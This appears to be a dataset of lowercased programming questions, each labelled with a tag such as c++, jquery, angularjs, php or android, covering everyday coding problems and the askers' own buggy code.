what is the meaning of int(expr) in c++   when looking over some code from a friend s project  i recently saw syntax that looked like this.   <pre><code>#include &lt;iostream&gt;  int main(){     std::cout&lt;&lt; int(32.5/5)  &lt;&lt; std::endl; } </code></pre>   when you run the above code  you get <code>6</code>  which is the expected value if the use of <code>int</code> functions like a cast.     however  i have never seen this syntax before and i could not find documentation for it on the web. i also did an experiment and noticed that this syntax is not valid in <code>c</code>.    can someone explain the meaning of this syntax with documentation references,c++
could we prevent users  cursor turn into selection tool with css   with <code>user-select: none</code> we are able to easily prevent user from selecting text in undesired areas like menu  but the browser cursor will still turn into selection tool  suggesting it is selectable. is there a way to prevent this behavior     better yet  can we manipulate the cursor into link indicator,css
crash with sbjson library  following code is copied from stig brautaset json library - i removed the comments to be more clear.   <pre><code>@interface nsstring (nsstring_sbjson)  - (id)jsonfragmentvalue; - (id)jsonvalue;  @end </code></pre>   i have a crash when i call:   <pre><code>nsstring *jsonstring = [request responsestring]; ... nsdictionary *results = [jsonstring jsonvalue];//here is the crash with invalid selector. </code></pre>   i added this:   <pre><code>if (![jsonstring respondstoselector:@selector(jsonvalue)])  {    nslog(@ fix this!!!\n ); } </code></pre>   and the message is shown. do you have any idea why this function in not called      thanks!    edit: i compile json framework as a static lib. the call is made in the same lib. when i compile it as exe it runs without any problem.,objective-c
is there $(document).find( selector ) and $( selector ) difference  i ve  started  working on some project and in  code i  find combintions  of $(document).find( selector ) and  $( selector ). i  cant  find any  real  reason why this is done. i  there any  significant  differnece between  those two so that  they are  used simultaneously in project  should i prefer one before another in some cases,jquery
how to work with dates and calendar in ruby on rails to create trips and routes every day   started learning ruby on rails  i want to create a website online ticket sale.    for example:   <ul> <li><a href= https://busfor.com/  rel= nofollow noreferrer >https://busfor.com/</a> </li> <li><a href= http://www.easybook.com/  rel= nofollow noreferrer >http://www.easybook.com/</a></li> </ul>   how to work with dates and calendar in ruby on rails (so as not to create every day new flights and routes every day if he repeats).    i would be grateful for feedback,ruby-on-rails
.net web.sitemap not found  i am trying to submit my web.sitemap to google and it s indicating a 404 error. does anyone know of a better way to access this sitemap in the url   or am i missing something in the web.config     i have tried to access this directly in the url which returns: xml parsing error: no element found    <a href= http://www.davincispainting.com/web.sitemap  rel= nofollow >http://www.davincispainting.com/web.sitemap</a>    i read that this is required in the web.config  however  i am not using a xmlsitemapprovider:   <pre><code>&lt;sitemap defaultprovider= xmlsitemapprovider  enabled= true &gt;    &lt;providers&gt;       &lt;add name= xmlsitemapprovider           description= default sitemap provider.           type= system.web.xmlsitemapprovider            sitemapfile= web.sitemap           securitytrimmingenabled= true  /&gt;    &lt;/providers&gt; &lt;/sitemap&gt; </code></pre>   here is my web.sitemap   <pre><code>&lt; xml version= 1.0  encoding= utf-8   &gt; &lt;sitemap xmlns= http://schemas.microsoft.com/aspnet/sitemap-file-1.0  &gt; &lt;sitemapnode url= painting  title= home   description= davincis painters in northern virginia &gt;   &lt;sitemapnode url= painters  title= about davinci s painting   description= about davincis painting  /&gt;   &lt;sitemapnode url= corevalues  title= our painting values   description= davinci s painitng values  /&gt;   &lt;sitemapnode url= ourprocess  title= our painting process   description= davinci s painting process  /&gt;   &lt;sitemapnode url= green  title= environmental friendly processes   description= davinci s environmental friendly processes  /&gt;   &lt;sitemapnode url= whydavincis  title= why select davinci s   description= why select davinci s  /&gt;   &lt;sitemapnode url= serviceareas  title= our service areas   description= davinci s service areas &gt;     &lt;sitemapnode url= reston-painters  title= painting in reston   description= reston painting  /&gt;     &lt;sitemapnode url= alexandria-painters  title= painting in alexandria   description= alexandria painting  /&gt;     &lt;sitemapnode url= vienna-painters  title= painting in vienna   description= vienna painting  /&gt;     &lt;sitemapnode url= arlington-painters  title= painting in arlington   description= arlington painting  /&gt;     &lt;sitemapnode url= fairfax-painters  title= painting in fairfax   description= fairfax painting  /&gt;     &lt;sitemapnode url= mclean-painters  title= painting in mclean   description= mclean painting  /&gt;   &lt;/sitemapnode&gt;   &lt;sitemapnode url= interiorservices  title= interior painting services   description= davinci s interior painting services  /&gt;   &lt;sitemapnode url= exteriorservices  title= exterior painting services   description= davinci s exterior painting services  /&gt;   &lt;sitemapnode url= faux  title= faux finishing services   description= davinci s faux finishing services  /&gt;   &lt;sitemapnode url= interiorgallery  title= interior painting pictures   description= davinci s interior painting pictures  /&gt;   &lt;sitemapnode url= exteriorgallery  title= exterior painting pictures   description= davinci s exterior painting pictures  /&gt;   &lt;sitemapnode url= drywall  title= drywall photographs   description= davinci s drywall photographs  /&gt;   &lt;sitemapnode url= testimonials  title= client testimonials   description= davinci s client testimonials  /&gt;   &lt;sitemapnode url= blog  title= davinci s painting information   description= davinci s painting information  /&gt;   &lt;sitemapnode url= startupguide  title= painting customer guide   description= davinci s painting customer guide  /&gt;   &lt;sitemapnode url= colorselector  title= color selector   description= davinci s color selector  /&gt;   &lt;sitemapnode url= paintingfacts  title= painting facts   description= davinci s painting facts  /&gt;   &lt;sitemapnode url= glossary  title= painting glossary   description= davinci s painting glossary  /&gt;   &lt;sitemapnode url= safety  title= painting safety   description= davinci s painting safety  /&gt;   &lt;sitemapnode url= painting-solutions  title= painting solutions  description= davinci s painting solutions &gt;     &lt;sitemapnode url= painting-answers  title= painting answers  description= painting solutions and answers  /&gt;   &lt;/sitemapnode&gt;   &lt;sitemapnode url= generalcontact  title= general contact form   description= general contact form  /&gt;   &lt;sitemapnode url= estimate  title= schedule an estimate   description= estimate schedule form  /&gt;   &lt;sitemapnode url= dayestimate  title= schedule a day estimate   description= day estimate schedule form  /&gt; &lt;/sitemapnode&gt; </code></pre>,.net
key capture directive not working as intended in angularjs  i am trying to capture keypress events in my angular app. the intended functionality is that upon pressing g1 (i.e simulataneously pressing g and 1) the app should transition to state1. upon pressing g2 the app should transition to state2 and so on.    however the app does not seem to be capturing two keypresses simulataneously. what am i missing here   also is this the best way to achieve this or are there better solutions available.    you can see the plnkr here  <a href= http://plnkr.co/edit/sk0nyndrth4lfftend5o  rel= nofollow >http://plnkr.co/edit/sk0nyndrth4lfftend5o</a>,angularjs
take in parent divs (dynamic) height  and set child div to same height  if i have two divs  the parent of which (let s call it #parent) is dynamic in height  is there any way to keep a child div (let s call it #child) at the same height using jquery  and for that height to increase and decease as the parent div responsively changes height,jquery
how to get form data in dynamic form in angularjs   i have created dynamic form  here i want to send form data to controller. how can do this    <pre><code>here is plunker code link https://plnkr.co/edit/xmxdjhtpfjosfwa2fwcb p=preview </code></pre>   issues:    <ol> <li>when i change the value then element label also change.</li> <li>how can i get the form data in product_submit function of controller.</li> </ol>   all response appreciated.,angularjs
removing ../ in the middle of a relative path  i want to get from this   <pre><code> ../lib/../data/myfile.xml  </code></pre>   to this   <pre><code> ../data/myfile.xml  </code></pre>   i guess i could do it by manipulating the string  searching for <code> ../ </code> and canceling them out with the preceding folders but i was looking for an already existing c# solution.    tried instantiating an <code>uri</code> from this string and going back tostring(). didn t help. it leaves the string unchanged.,c#
how to generalize code calling the same methods on separate objects with no shared interface   i have an objective-c project in xcode 7.3.1.    the project code consumes a third-party library which has three distinct objects <code>a</code>  <code>b</code> and <code>c</code>. the objects have no common parent (except nsobject) nor they are implementing a common relevant interface or protocol. all three objects implement the following methods:   <pre><code>- (id)dataforkey:(nsstring *)key; - (void)setdata:(id)value forkey:(nsstring *)key; - (void)removedataforkey:(nsstring *)key; </code></pre>   my code is consuming these methods on these three objects and is doing the same exact operation on them like   <pre><code>bool found = no;  if ([a dataforkey:key] != nil) {     found = yes; } [a removedataforkey:key];  if ([b dataforkey:key] != nil) {     found = yes; } [b removedataforkey:key];  if ([c dataforkey:key] != nil) {     found = yes; } [c removedataforkey:key];  return found; </code></pre>   i would like to generalize the code to something like   <pre><code>- (bool)removefromobject:(id)object {     bool found = no;     if ([object dataforkey:key] != nil) {         found = yes;     }     [object removedataforkey:key];     return found; }    return [self removefromobject:a] || [self removefromobject:b] || [self removefromobject:c]; </code></pre>   how to pass the three objects into the <code>removefromobject</code> method while keeping the code as type-safe and strongly typed as possible (as such i do not prefer a solution to pass a generic object to the <code>removefromobject</code> method and than cast the passed generic object to one of the three objects),objective-c
ng-repeat multi level table with angular  here is js fiddle link which i have created.  html code   <pre><code>&lt;div ng-app= myapp &gt; &lt;div ng-controller= tablectrl &gt;   &lt;div&gt;     {{test}}   &lt;/div&gt;     &lt;table ng-repeat= (k v) in tdata &gt;         &lt;tr ng-repeat= (key val) in v &gt;             &lt;td &gt;{{k}}&lt;/td&gt;             &lt;td ng-repeat= (x y) in val &gt;                 &lt;table ng-repeat= (a b) in y &gt;                     &lt;tr ng-repeat= (c d) in b &gt;                          &lt;td&gt;{{d.param}}&lt;/td&gt;                         &lt;td&gt;{{d.description}}&lt;/td&gt;                         &lt;td&gt;{{d.synopsis}}&lt;/td&gt;                         &lt;td&gt;{{d.value}}&lt;/td&gt;                     &lt;/tr&gt;                 &lt;/table&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; &lt;/div&gt;  &lt;/div&gt; </code></pre>   js code as below   <pre><code>var app = angular.module( myapp  []).controller( tablectrl  function($scope){           $scope.test =  hi ;             $scope.tdata = {     arp :[       {           param1 :[             {                 12.3 :{                    param : param1                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 12.3                 }             }              {                 13.2 :{                    param : param1                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 13.2                 }             }          ]       }        {           param2 :[             {                 12.3 :{                    param : param2                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 12.3                 }             }              {                 13.2 :{                    param : param2                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 13.2                 }             }          ]       }    ]      bgp :[       {           param1 :[             {                 12.3 :{                    param : param1                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 12.3                 }             }              {                 13.2 :{                    param : param1                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 13.2                 }             }          ]       }        {           param2 :[             {                 12.3 :{                    param : param2                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 12.3                 }             }              {                 13.2 :{                    param : param2                      value : 1234                      description : testdescription                      synopsis : testsynopsis                      release : 13.2                 }             }          ]       }    ] }      }); </code></pre>   <a href= https://jsfiddle.net/oq6b4rxm/8/  rel= nofollow noreferrer >https://jsfiddle.net/oq6b4rxm/8/</a>    the table how i wanted created static and issue table when formatting also mentioned. please help me to fix,angularjs
display the string from last having a check on space  i have a string  zeeshannisar       192.168.0.1  what i want to get the ip address from this string.i have the concept of displaying the string from last untill there is a space and can get the ip address but can any one help me using code.,java
groupon alert rails  i am new to rails so please be patient. i am open to suggestions on how to do this differently.    i would like to render 2 separate controller actions in one layout in rails.    i have 2 controllers: coupons  and mainalert. in the body of my application wide layout page i have a  <code>&lt;yield &gt;</code> which loads the index action of coupons or mainalerts depending on the request (e.i. localhost/coupons or localhost/mainalerts).     however  i would like to load the index action of coupons or mainalert or other controller (depending on request) but always load the _form(where user creates new alert) at the very top on a  i will hide and show.       get deals by email (+)  option at groupon.com    how do i load both controller action (index from coupons and the _form (new  create ) from mainalerts in the layout. the values of the mainalert form need to be save to the db if user hits submit.    i am open to suggestions on how to do this differently.    thank you for you time everyone. =),ruby-on-rails
how to add ajaxslider in datalist controll  i want to add ajax slider. but problem is that  i have added images in datalist controll.  when i add targetcontroll id in ajax slider. error shows target controll id not found.    datalist code:   <pre><code>&lt;img alt=   src = image/&lt;%#eval( image ) %&gt;  id= imgslide  /&gt;&lt;/itemtemplate&gt; </code></pre>   ajax slider:   <pre><code>  &lt;asp:slideshowextender id= slideshowextender1  runat= server  targetcontrolid= imgslide &gt;           &lt;/asp:slideshowextender&gt; </code></pre>,asp.net
c language array byte size <pre><code>char *myarray[] = {  aaaaaa    ccccc    bbbbbb    111111  };  printf( %d\n   sizeof(myarray));  printf( %d\n   (int)(&amp;myarray + 1) - (int)(&amp;myarray)); </code></pre>   my question is about why passing myarray into <code>sizeof</code> can get the same result as the second method.     i know <code>myarray</code> represent a address which points to the first of four int space addresses  but how does <code>sizeof</code> recognize the size of bytes of 4 <code>int</code> space     <code>sizeof</code> is not a function  what is it,c
change css element with jquery when scroll reaches an anchor point  i currently have this solution to change the css elements when the page reaches a certain point but i d like to use an #anchor-point instead of the pixel value (1804) to be responsive on smaller screens. i know it must be easy but i can t find how:    <pre><code>$(document).scroll(function(){     if($(this).scrolltop() &gt; 1804)     {            $( #voice2 ).css({ border-bottom : 2px solid #f4f5f8 });         $( #voice3 ).css({ border-bottom : 2px solid #2e375b });     } }); </code></pre>   this is the current state: <a href= http://tibio.ch/  rel= noreferrer >http://tibio.ch</a> thank you,jquery
create nested <ul> from tab formatted text  is it possible to create something like:     <blockquote>   <ul>   <li> text   <ul>   <li> text   <ul> <li> text </ul>   <li> text   </ul>   <li>text   </ul> </blockquote>   from tab formatted text like:     <pre><code>text     text         text     text text </code></pre>   i can easily wrap every line in <code>&lt;li&gt;</code> tag in sublime by using combination of <code>ctrl+shift+l</code>  <code>home</code>  <code>end</code> to skip the white spaces and edit selected lines simultaneously.<br> but i have no idea how to create nested lists without doing it manually.,html
problems with multiple statments using while not  i have just started learning python and everything has been going well so far  but i don t really know if i am doing terribly wrong or what s happening. my problem is  i have this code   <pre class= lang-python prettyprint-override ><code>y= y  and  y  n= n  and  n  localname= (getpass.getuser()) print( welcome user ) time.sleep(1) print( identificate ) print ( ¿are you   + localname +    (y/n) ) nameuserauto = input ( &gt;  ) while not nameuserauto ==  y  and  n  and  y  and  n :     print( input error  please use (y/n) )     nameuserauto = input( &gt;  ) if nameuserauto == y:         nominpu = localname         print ( name saved ) if nameuserauto == n:         print( please  write your name )         nominpu = input( &gt;  ) </code></pre>   i just want to make the user have to input the answer again if it is not  y    n    n  or  y . i tried several things  like changing  y  and the caps by variables and that didn t work (i am not sure that would work  though).  i am fairly new on this and i couldn t see any similar question. please help.,python
how to convert a formula in a string to value inside a function  is this possible  so far i have used this code in side the function  and it doesn t work properly. is there any other way to solve this problem    <pre><code>declare @sql nvarchar(max) declare @result float  set @sql = n set @result =   + @word exec sp_executesql @sql  n @result float output   @result out return @result </code></pre>,sql
is passing variable number of arguments feature- function overloading   using stdarg.h we can have function call with variable number of arguments. is this also classified as function overloading,c
issues with precompiled headers   hopefully someone can help because i m lost.  when running my program earlier  it worked fine  now for some reason i get the error message    <blockquote>    fatal error c1010: unexpected end of file while looking for precompiled header. did you forget to add  #include  stdafx.h   to your source   </blockquote>   which i did include the header. the goal was to create a program which prints the time and date and be able to input the size of the window and font and background color having two different files. the first file is as follows.   <pre><code>#include  timeclass.h  //////////////////////////////////////////////////////////////////////////// // class to help with the usage of time.  ////////////////////////////////////////////////////////////////////////// ctimeclass::ctimeclass() { // notice that the time is stored whenever this time object is created.  // use this to your advantage in  main .  //  m_st  holds the time and date information. getlocaltime(&amp;m_st); }  //////////////////////////////////////////////////////////////////////// ctimeclass::~ctimeclass() { // empty - nothing to destroy here. } short ctimeclass::year() { // place your code here to return the year as a short. consoletime ct; short year = ct.wyear; return year; }  /////////////////////////////////////////////////////////////////////////// string ctimeclass::month() { consoletime ct;  int month = cm.wmonth; if (month == 0)     return  january ; else if (month == 1)     return  february ; else if (month == 2)     return  march ; else if (month == 3)     return  april ; else if (month == 4)     return  may ; else if (month == 5)     return  june ; else if (month == 6)     return  july ; else if (month == 7)     return  august ; else if (month == 8)     return  september ; else if (month == 9)     return  october ; else if (month == 10)     return  november ; else if (month == 11)     return  december ; else     return  error ; // place your code here to return the month as a string. } ////////////////////////////////////////////////////////////// short ctimeclass::day() { consoletime ct; short day = ct.wday; return day;  // place your code here to return the day as a short. } //////////////////////////////////////////////////////////////////////     string ctimeclass::dayofweek() {  consoletime ct; int day == st.wdayofweek;  if (day == 0)     return  sunday ; else if (day == 1)     return  monday ; else if (day == 2)     return  tuesday ; else if (day == 3)     return  wednesday ; else if (day == 4)     return  thursday ; else if (day == 5)     return  friday ; else if (day == 6)     return  saturday ; else     return  error ; // place your code here to return the day of the week as a string. } ////////////////////////////////////////////////////////////////// short ctimeclass::hour() { consoletime ct; short hour = ct.whour; return hour; // place your code here to return the hour as a short. } /////////////////////////////////////////////////////////////////////////// short ctimeclass::minute() { consoletime ct;  short minute = ct.wminute; return minute; // place your code here to return the minute as a short. } /////////////////////////////////////////////////////////////////////////// short ctimeclass::second() { consoletime ct; short second = ct.wsecond; return second; // place your code here to return the second as a short. } </code></pre>   below is my second file.   <pre><code>// consolewindowclock.cpp : defines the entry point for the console    application. // #include  stdafx.h   #include  consoleclass.h  #include  timeclass.h  #include &lt;iomanip&gt; #include &lt;iostream&gt; #include &lt;windows.h&gt; #include &lt;stdlib.h&gt;  using namespace std;   int main() { int width; int height; int fontsize; int text; int background; int userclass; int time;  userclass.consolecolor(text  background); userclass.consolewindowsize(width  height); userclass.fontsize(fontsize);  cout &lt;&lt;  this is the console window clock  &lt;&lt; endl;  cout &lt;&lt;  please enter the window size in characters:   &lt;&lt; endl; cin &gt;&gt; width; cin &gt;&gt; height;  cout &lt;&lt;  please enter the font size:   &lt;&lt; endl; cin &gt;&gt; fontsize;  cout &lt;&lt;  enter the text color (0=red  1=green  2=blue  -1=random):   &lt;&lt;  endl; cin &gt;&gt; text;  cout &lt;&lt;  enter the background color (0=red  1=green  2=blue  -1=random):    &lt;&lt; endl; cin &gt;&gt; background;   while (true)      {     cout &lt;&lt;  the time is:   &lt;&lt; time.hour() &lt;&lt;  :  &lt;&lt; time.minute() &lt;&lt;  :  &lt;&lt;  time.second() &lt;&lt; endl;     cout &lt;&lt;  the day of the week is:   &lt;&lt; time.dayofweek() &lt;&lt; endl;     cout &lt;&lt;  the month  day  and year are:   &lt;&lt; time.month() &lt;&lt;     &lt;&lt;  time.day() &lt;&lt;      &lt;&lt; time.year() &lt;&lt; endl;      sleep(1000);      }   return 0; } </code></pre>   any help would be greatly appreciated  sorry for the long post.,c++
set current date in form select lists  basically i have html form which reads in a date from a user  for a hotel booking system.    i have 3 lists  one for day  one for month and one for year.   <pre><code>&lt;select name= month &gt;    &lt;option value= 1 &gt; jan    &lt;option value= 2 &gt; feb    &lt;option value= 3 &gt; march and so on &lt;/select&gt; </code></pre>   and the same for year(2010 - 2013) and day(1 -31).    is there any way i can have the default value in the day list set to the current day  the default value in the month list set the the current month  and the default value in the year list set to the current year  rather than manually having to do it.    thanks in advance for the help!,html
how to add windowed prompts and confirmations to php functions   how do i add  are you sure you want to  prompts and  the so and so action is done  confirmations for php functions.     i call my functions with:   <pre><code>&lt;form action= functionname.php  method= post &gt;&lt;input type= submit &gt;&lt;/form&gt; </code></pre>   and i usualy resolve them with:   <pre><code>header( location:  . $_server[ http_referer ]); </code></pre>   i know how to do prompts for javescript and jquery  but i need them to go when i click submit and i need conformations after referer page is reloaded  is it even possible     thanks in advance,php
why are the bits reversed   in the code bellow  i am trying to store a 2 byte <code>int</code> in 2 <code>char</code>s. then  i try to show on the screen the number i stored. those parts work pretty well.    if i try to see the binary form of the number i stored on the other hand i don t get what i expect. <code>256</code> gives me <code>00000000 1</code> while the correct is <code>10000000 0</code>   <pre><code>unsigned int num = 256; unsigned int pos = 0;  unsigned char a[2] = {num &lt;&lt; pos  ((num &lt;&lt; pos) &amp; 0xff00) &gt;&gt; 8}; //we store the number in 2 bytes  cout &lt;&lt; (((unsigned int)a[0] + ((unsigned int)a[1] &lt;&lt; 8)) &gt;&gt; pos) &lt;&lt; endl; //we check if the number we stored is the num  for(int i = 0; i &lt; 2; i++)//now we display the binary version of the number {     for(int j = 0; j &lt; 8; j++)         cout &lt;&lt; ((a[i] &gt;&gt; j)&amp;1);     cout &lt;&lt;    ; } </code></pre>   can someone please explain what i am doing wrong,c++
get the part after the decimal in a float  is there a way to  split  a float so i get the value <strong>before</strong> the decimal mark and the value <strong>after</strong> the decimal mark    <pre><code>float myval = 1.234; // how to get .234 and 1 </code></pre>   i saw another example but it s in java and i can t figure out how to do this in objective-c.,objective-c
idiomatic java  finally  block that only runs on exception  if you have some cleanup code that needs to run regardless of whether an exception was thrown  <code>try { ... } finally { ... }</code> is what you need.  but what if you want that cleanup code to only run in the event of an exception     one possible solution is this:   <pre><code>boolean ok = false; try {     dowork();     ok = true; } finally {     if (!ok) {         docleanup();     } } </code></pre>   it does exactly what i want  but i wondered if there was a more natural way to express the idea.    this alternative doesn’t pass muster:   <pre><code>try {     dowork(); } catch (throwable e) {     docleanup();     throw e; // bad: cant do this unless the enclosing function is declared to throw throwable } </code></pre>   i suppose i could catch exception instead of throwable  but i don t like the idea that a non-exception throwable will bypass the cleanup code.  after all  a regular <code>finally</code> block still runs even for non-exception throwables.    aside: in c++  you would simply use a <em>catch-all</em> block:   <pre><code>try {     dowork(); } catch (...) {     docleanup();     throw; } </code></pre>,java
code access security real time implementation in .net   i am a c# .net devoloper.    i have read a lot about code access security(cas) in .net.    i haven t seen the implementation of this featue on any of the project i have worked on     has anyone implemented it      i read that all managed code targetsthe clr will recieves the benefit of cas.    what all scenarios we explicitly use code access security in real time     thanks    sc,.net
what is better way to code a custom pop-view use xib  what i have done in stepopview.m file so far is that :   <pre><code>+(instancetype)loadfromxib{     return [[nsbundle mainbundle]loadnibnamed:nsstringfromclass(self) owner:nil options:nil][0]; } -(void)awakefromnib{     [super awakefromnib];     //configure my view     self.backgroundcolor = [[uicolor colorwithwebstr:@ 050205 ] colorwithalphacomponent:0.33];  } //when move to superview  call show method to show a pop view with animation  -(void)didmovetosuperview{     [self show]; } -(void)show{     //show a pop view with animation } </code></pre>   when i use this pop-view  in superview:   <pre><code>stepopview* popview = [stepopview loadfromxib];  popview.frame.bounds = self.bouds; [self addsubview:popview] </code></pre>   is this a better coding   and what`s the better code and why  thanks in advance!,objective-c
get the private ip address at a specific ethernet port in php  i have the php coe running on a server. i want the ip address of the local system. this question has been asked before - <a href= https://stackoverflow.com/questions/3219178/php-how-to-get-local-ip-of-system >php how to get local ip of system</a>    when i use any of the solutions mentioned in the above post  i can only get the hostname  not the ip address.    e.g. on my machine i have     eth0:10.0.2.15 <br/> eth1:192.168.1.115    when i run the following code:   <pre><code>$localip = gethostbyname(gethostname()); </code></pre>   i only get the hostname - <code>localvm</code>. i want <code>192.168.1.115</code>    can i get the private ip address  more specifically can i get the ip address at a specific port,php
php arrays. how to format for my result  i am pretty new to php and could sure use some help understanding how to get my result the way i need it from a database query.    what i need is an associative array like this   bla => bla . what i am getting from my foreach loop is this from a print:   <pre><code>[0] =&gt; array     (         [0] =&gt; test0         [name] =&gt; test0         [1] =&gt; 1         [customer_id] =&gt; 1     )  [1] =&gt; array     (         [0] =&gt; test         [name] =&gt; test         [1] =&gt; 2         [customer_id] =&gt; 2     ) </code></pre>   here is my loop:   <pre><code>foreach($res as $key=&gt;$val) {   // have no idea.. } </code></pre>   can someone please help me to format my results so that they are like  index => value     thanks for any help.   <hr>   here is a sample code that uses a foreach but yet pulls an association. i don t get it. i am thinking that my result set with the indexes are because i am not writing the loop correctly. here is the code that uses the foreach   <pre><code>foreach ($items as $key=&gt;$value) {     if (strpos(strtolower($key)  $q) !== false) {         echo  $key|$value\n ;     } } </code></pre>  <hr>   here is the part of the database class that i am using to fetch the results.   <pre><code>$returnarray = array(); $i=0; while ($row = mysql_fetch_array($result  mysql_both)) {     if($row)         $returnarray[$i++] = $row; } mysql_free_result($result); return $returnarray; </code></pre>   after using the code that was given to me to omit the index numbers  here is what i am now left with. its close but not what i need.    array (     [id] => 1     [cust] => bobs auto )    this is what the above line should read like   <pre><code> 1  =&gt;  bobs auto  </code></pre>   what i am trying to do is to format the output for a json call for a suggestion box.    <br><br>    i cannot get this to work. here is everything after my db connection.   <pre><code>$out_array = array(); foreach($items as $key=&gt;$val) {     if(is_int($key))     {       continue;     }     $out[$key[ id ]] = $val[ cust ]; }    //echo &lt;pre&gt; ; //print_r($out_array); //echo &lt;/pre&gt; ;  foreach ($out_array as $key=&gt;$value) {     if (strpos(strtolower($key)  $q) !== false) {         echo  $key|$value\n ;     } } </code></pre>  <hr>   ok  i think i am coming down to the home stretch. i have what i need sort of. this is the code i have so far.   <pre><code>$out_array = array(); foreach($items as $key) {     $out_array[$key] = $val; //$out_array[$key[ id ]] = $key[ cust ]; } </code></pre>   notice that the commented line does not work  it outputs like the id twice but the line that isn t commented out works just fine. here is the output from that.   <pre><code>array (     [8] =&gt;      [fat burger] =&gt;  ) </code></pre>   from this point  would i just use another foreach to iterate over the entire set of data  the array output you see above is from a print_r.   <hr>   this is what i now have and it returns the correct association however  i must comment out the strpos condition to get any results back and i don t know why. am i correct in nesting these foreach loops like i have    <pre><code>$out_array = array(); foreach($items as $key) {   //    $out_array[$key] = $val;   $out_array[$key[ id ]] = $key[ cust ];    foreach ($out_array as $key=&gt;$value)   {       if (strpos(strtolower($key)  $q) !== false)       {           echo  $key|$value\n ;       }   }  } </code></pre>,php
will apple reject apps that make use of the device id.   i have developed an app that make use of the iphone device id and sends the same to a webservcise  as primarily my app uses device id to prevent unauthorised device access. but i am in doubt  whether apple will reject the app bacause of this...  pls can anyone clarify my doubt...,iphone
how to display weekdays from below two days (monday and friday)   how to display weekdays from below two days (monday and friday) using sql query    <pre><code>date_from= 01/03/2011 date_to =15/03/2011 </code></pre>   i need output like below   <pre><code>date_from   date_to     01/03/2011  01/03/2011 04/03/2011  04/03/2011   friday 05/03/2011  06/03/2011 07/03/2011  07/03/2011   monday 08/03/2011  10/03/2011 11/03/2011  11/03/2011   friday 12/03/2011  13/03/2011 14/03/2011  14/03/2011   monday 15/03/2011  15/03/2011 </code></pre>   hoping your help,sql
what is operator     like  decimal    hi there i don t know what is this <code>   </code> operator. can anyone explain this for me    <blockquote>    public virtual decimal  abc {get; set;}  </blockquote>,c#
which memory profiler can help in web as well as non web .net apps  dotmemory.. or red gate ants or newrelic or something else  want to get a tool which can help identify memory leaks in web applications as well as non-web like windows services.,.net
finding the next element to link clicked by class with jquery  i ve got some html markup that looks like this:   <pre><code> &lt;tr&gt;     &lt;td&gt;         &lt;a href= javascript:void(0)  class= slidenextslidable &gt;click here&lt;/a&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr class= slidable &gt;     &lt;td&gt;     &lt;p&gt;hide me&lt;/p&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>   and my javascript / jquery:   <pre><code>$(function() {     $( .slidenextslidable ).click(function() {         $(this).parent().next( .slidable ).hide();     }); });​ </code></pre>   however  this doesn t seem to be getting the <code>.slidable</code> <code>tr</code>    i m trying to hide the <code>.slidable</code> row that s next (or nearest to) the clicked <code>.slidenextslidable</code> link.    this is nested in a foreach loop (there are many of these rows)    see fiddle: <a href= http://jsfiddle.net/alexjamesbrown/zx5sr/  rel= nofollow >http://jsfiddle.net/alexjamesbrown/zx5sr/</a>,jquery
this profile cannot be installed on devices    iphone distribution ... any ideas  i m getting a  new  kind of error in the provisioning hell from iphone.  does anyone have an idea what s going on .. because reinstalling   redownloading of the profile doesn t work.     i ve uploaded a screenshot.     <a href= http://img94.imageshack.us/img94/1559/picture15f.png  rel= nofollow noreferrer >http://img94.imageshack.us/img94/1559/picture15f.png</a>    so the part where it says cannot be installed on devices,objective-c
can you offer prizes  cash and/or products  to say the person w/highest score on an iphone game app   does apple allow that  i remember a $30k contest that a team from mit ended up winning. i think it had to do with locating red balloons on a gps that were scattered all over the world. something like that.,iphone
how to use tree view control in asp.net  can anybody help me of using <code>tree_view</code> control in <code>asp.net</code>   i want to use this control without using database. can anybody give me a sample of how to use it,asp.net
android studio failed error  i was making a project on android studio then i updated android studio. then i am taking this error:   <pre><code>failure: build failed with an exception.  * what went wrong: execution failed for task  :app:instantrunmainapkresourcesdebug . &gt; android resource linking failed   output:  w/ziparchive(12136): unable to open  c:\users\b3rk4\desktop\hayvan bulma\kpeiyakala\app\build\ä±ntermedä±ates\processed_res\debug\processdebugresources\out\resources-debug.ap_ : no such file or directory   error: failed to open apk: i/o error.    command: c:\users\b3rk4\.gradle\caches\transforms-1\files-1.1\aapt2-3.2.0-alpha10-4662957-windows.jar\10ed1b45d0c7be95ae3f093e6e7cf10e\aapt2-3.2.0-alpha10-4662957-windows\aapt2.exe link -i\           c:\users\b3rk4\appdata\local\android\sdk\platforms\android-27\android.jar\           -i\           c:\users\b3rk4\desktop\hayvan bulma\kpeiyakala\app\build\ıntermedıates\processed_res\debug\processdebugresources\out\resources-debug.ap_\           --manifest\           c:\users\b3rk4\desktop\hayvan bulma\kpeiyakala\app\build\ıntermedıates\ınstant_run_merged_manıfests\debug\processdebugmanifest\instant-run\androidmanifest.xml\           -o\           c:\users\b3rk4\desktop\hayvan bulma\kpeiyakala\app\build\ıntermedıates\ınstant_run_maın_apk_resources\debug\instantrunmainapkresourcesdebug\out\main_resources\resources_ap\           --auto-add-overlay\           -0\           apk\           --no-version-vectors   daemon:  aapt2 aapt2-3.2.0-alpha10-4662957-windows daemon #0  * try: run with --stacktrace option to get the stack trace. run with --info or --debug option to get more log output. run with --scan to get full insights.  * get more help at https://help.gradle.org  bui̇ld failed in 3s </code></pre>   <img src= https://i.stack.imgur.com/7unkz.png  alt= screenshot >,android
what language is html written in   what type of language is html based on  . i already learned html   css   php   js   and ruby but i always wondered what language html is written in.i don t think it s written in something like c.,html
strange struct constructor compiler workaround  structs cannot contain explicit parameterless constructors.  such as:   <pre><code>public struct person {     public string name { get; }     public int age { get; }      public person() { name = string.empty; age = 0; } } </code></pre>   however  this is allowed:   <pre><code>public struct person {     public string name { get; }     public int age { get; }      public person(string name = null  int age = 0) { name = name; age = age; } } </code></pre>   any ideas why   any reason this is bad to do,c#
how to display the image in galleryview  i create gallery view in my application. it is working fine but i want which image focused in the gallery that image also display on the screen at the same time. can anyone help for this     regards raj.,android
